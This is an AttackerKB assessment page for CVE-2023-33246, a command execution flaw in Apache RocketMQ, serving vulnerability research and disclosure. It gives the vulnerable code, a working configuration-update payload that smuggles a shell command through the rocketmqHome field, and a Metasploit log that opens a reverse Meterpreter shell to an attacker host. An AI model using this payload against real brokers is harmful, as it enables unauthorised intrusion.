Low
CVE-2023-33246
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2023-33246
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution.
Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.
To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x .
Add Assessment
Ratings
-
Attacker ValueLow
-
ExploitabilityVery High
Technical Analysis
Description
Multiple different components of RocketMQ including the NameServer, Broker, and Controller are by default leaked on the extranet of the network the system is operating within and are accessible without authentication. The vulnerability can be exploited by using the “update configuration” function to send arbitrary commands to the system which will be executed in the context of the user running the application.
Vulnerable Versions
Apache RocketMQ versions vulnerable to RCE (CVE-2023-33246):
- 5.1.0 – 5.0.0
- <= 4.9.5
Vulnerable Environment
A vulnerable environment can be spun up using the following docker commands. Both the NameServer and Broker containers are required:
docker pull apache/rocketmq:4.9.5 docker run --rm--name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv docker run --rm --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf
Is Windows Vulnerable?
The short answer: no. Many blogs commented on the Unix PoC and all said “Apache RocketMQ ” is vulnerable without ever mentioning which platform it had to be running on. So I assumed Windows would be vulnerable as well and went out to try and exploit it.
The only difference between the exploitation paths on Windows and Unix is here in FilterServerManager.buildStartCommand()
, where the command that is sent to Runtime.getRuntime().exec
gets built:
if (RemotingUtil.isWindowsPlatform()) { return String.format("start /b %s\\bin\\mqfiltersrv.exe %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config); } else { return String.format("sh %s/bin/startfsrv.sh %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config); }
- Windows entry point
Runtime.getRuntime().exec("start /b <PAYLOAD>")
- Unix entry point
Runtime.getRuntime().exec("sh <PAYLOAD>")
When attempting to exploit the vulnerability on windows, in C:\Users\msfuser\logs\rocketmq\logs\broker.log
I kept seeing the following error:
java.io.IOException: Cannot run program "start": CreateProcess error=2, The system cannot find the file specified
Even when attempting to run the happy path of updating the RocketMQ broker config, same error. That is because you can’t use the start
command directly in the Runtime.getRuntime().exec()
method in Java. The start
command is a Windows-specific command and is not recognized by the Java runtime.
This is a bug in the RocketMQ implementation. I would have raised an issue with them regarding this had they not ripped out the entire functionality due to the emergence of the vulnerability I’m writing about.
You can try this at home with the following test class:
public class MyClass { public static void main(String[] args) { try { String[] cmdArray = {"start", " /b", "C:\\Windows\\System32\\notepad.exe"}; Process process = Runtime.getRuntime().exec(cmdArray); } catch (Exception ex) { ex.printStackTrace(); } } }
Simply compile, execute and see the following error:
D:\rocketmq>javac MyClass.java D:\rocketmq>java MyClass java.io.IOException: Cannot run program "start": CreateProcess error=2, The system cannot find the file specified at java.lang.ProcessBuilder.start(Unknown Source) at java.lang.Runtime.exec(Unknown Source) at java.lang.Runtime.exec(Unknown Source) at MyClass.main(MyClass.java:9) Caused by: java.io.IOException: CreateProcess error=2, The system cannot find the file specified at java.lang.ProcessImpl.create(Native Method) at java.lang.ProcessImpl.<init>(Unknown Source) at java.lang.ProcessImpl.start(Unknown Source) ... 4 more
Exploitation Details
The patch diff tells a clear story, the FilterServerManager
& FilterServerUtil
classes were completely removed from the application. Analyzing the code removed we see a potential RCE entry point Runtime.getRuntime().exec(cmdArray)
, inside FilterServerUtil.callShell()
:
public class FilterServerUtil { public static void callShell(final String shellString, final InternalLogger log) { Process process = null; try { String[] cmdArray = splitShellString(shellString); process = Runtime.getRuntime().exec(cmdArray); process.waitFor(); log.info("CallShell: <{}> OK", shellString); } catch (Throwable e) { log.error("CallShell: readLine IOException, {}", shellString, e); } finally { if (null != process) process.destroy(); } } private static String[] splitShellString(final String shellString) { return shellString.split(" "); } }
Working backwards from there we can see callShell
is called from: FilterServerManager.createFilterServer()
:
public void createFilterServer() { int more = this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size(); String cmd = this.buildStartCommand(); for (int i = 0; i < more; i++) { FilterServerUtil.callShell(cmd, log); } }
The createFilterServer()
method will be called every 30 seconds according to the inside of the FilterServerManager.start()
public void start() { this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() { @Override public void run() { try { FilterServerManager.this.createFilterServer(); } catch (Exception e) { log.error("", e); } } }, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS); }
The command that gets executed by Runtime.getRuntime().exec
is created by the following method FilterServerManager.buildStartCommand()
. We see from the last else
block if the system we’re exploit is not Windows, the command run will be sh %s ...
where %s
get substituted for getRocketmqHome()
which is an user controlled parameter when the user sends a request to update the broker configuration.
private String buildStartCommand() { String config = ""; if (BrokerStartup.configFile != null) { config = String.format("-c %s", BrokerStartup.configFile); } if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) { config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr()); } if (RemotingUtil.isWindowsPlatform()) { return String.format("start /b %s\\bin\\mqfiltersrv.exe %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config); } else { return String.format("sh %s/bin/startfsrv.sh %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config); } }
Below is the request that can be sent to the Broker component of ApacheMQ to update the broker configuration or to obtain remote code execution. (note the payload inside of the rocketmqHome
parameter also the binary header required to exploit is not included in the payload below)
`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1 rocketmqHome=-c $@|sh . echo <Unix payload of your choice :)>`
There is one more aspect of the vulnerability that should be noted, above in callShell
you’ll notice the following two lines:
String[] cmdArray = splitShellString(shellString); process = Runtime.getRuntime().exec(cmdArray);
FilterServerUtil.splitShellString(final String shellString)
is defined as the following:
private static String[] splitShellString(final String shellString) { return shellString.split(" "); }
This means if the incoming command includes a space it will be split into an array and the first element of the array will be the command (ex: sh
) and the rest of the elements of the array will be the arguments to that command. Getting a long string of multiple commands which all contain spaces to execute, is an exercise in ShellFu:
-c $@|sh . echo <PAYLOAD CONTAINING SPACES>
The argument $@
represents all the parameters passed to the script or command and directly passes the value after echo to $@
as a whole which solves the issue introduced by shellString.split
Metasploit Exploitation
Below is an example of a vulnerable RocketMQ instance being targeted by the apache_rocketmq_update_config
metasploit module in order to establish a Meterpreter session in the context of the rocketmq
user.
msf6 > use multi/http/apache_rocketmq_update_config [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp msf6 exploit(multi/http/apache_rocketmq_update_config) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 msf6 exploit(multi/http/apache_rocketmq_update_config) > set lhost 172.16.199.158 lhost => 172.16.199.158 msf6 exploit(multi/http/apache_rocketmq_update_config) > set FETCH_SRVHOST 172.16.199.158 FETCH_SRVHOST => 172.16.199.158 msf6 exploit(multi/http/apache_rocketmq_update_config) > run [*] Started reverse TCP handler on 172.16.199.158:4444 [*] 127.0.0.1:9876 - Running automatic check ("set AutoCheck false" to disable) [+] 127.0.0.1:9876 - The target appears to be vulnerable. RocketMQ version: 4.9.4 [*] 127.0.0.1:9876 - autodetection failed, assuming default port of 10911 [*] 127.0.0.1:9876 - Executing target: Automatic (Unix In-Memory) with payload cmd/linux/http/x64/meterpreter/reverse_tcp on Broker port: 10911 [+] 127.0.0.1:9876 - Payload length: 252, (must not exceed 255 characters) [*] Sending stage (3045348 bytes) to 172.17.0.3 [*] Meterpreter session 1 opened (172.16.199.158:4444 -> 172.17.0.3:37576) at 2023-06-27 14:49:18 -0700 meterpreter > getuid Server username: rocketmq meterpreter > sysinfo Computer : 172.17.0.3 OS : CentOS 7.9.2009 (Linux 5.15.0-75-generic) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter >
AKB Rating Explanation
The Broker component by default listens on the extranet on port 10911
. This vulnerable endpoint shouldn’t be exposed to the internet by default and is why I decided to go with a lower attacker value. However, if an attacker is already in the network this vuln is easily exploitable and provides an excellent pivot point.
References
https://blogs.juniper.net/en-us/threat-research/cve-2023-33246-apache-rocketmq-remote-code-execution-vulnerability
https://blog.csdn.net/qq_41904294/article/details/130987233
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
Technical Analysis
A July 2024 bulletin from multiple U.S. government agencies indicates that North Korean state-sponsored attackers have demonstrated interest in this vulnerability — not immediately clear whether it was exploited or just used in reconnaissance/target selection: https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- apache
Products
- rocketmq
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this report- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2023/09/06/cisa-adds-one-known-vulnerability-catalog)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Additional Info
Technical Analysis
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: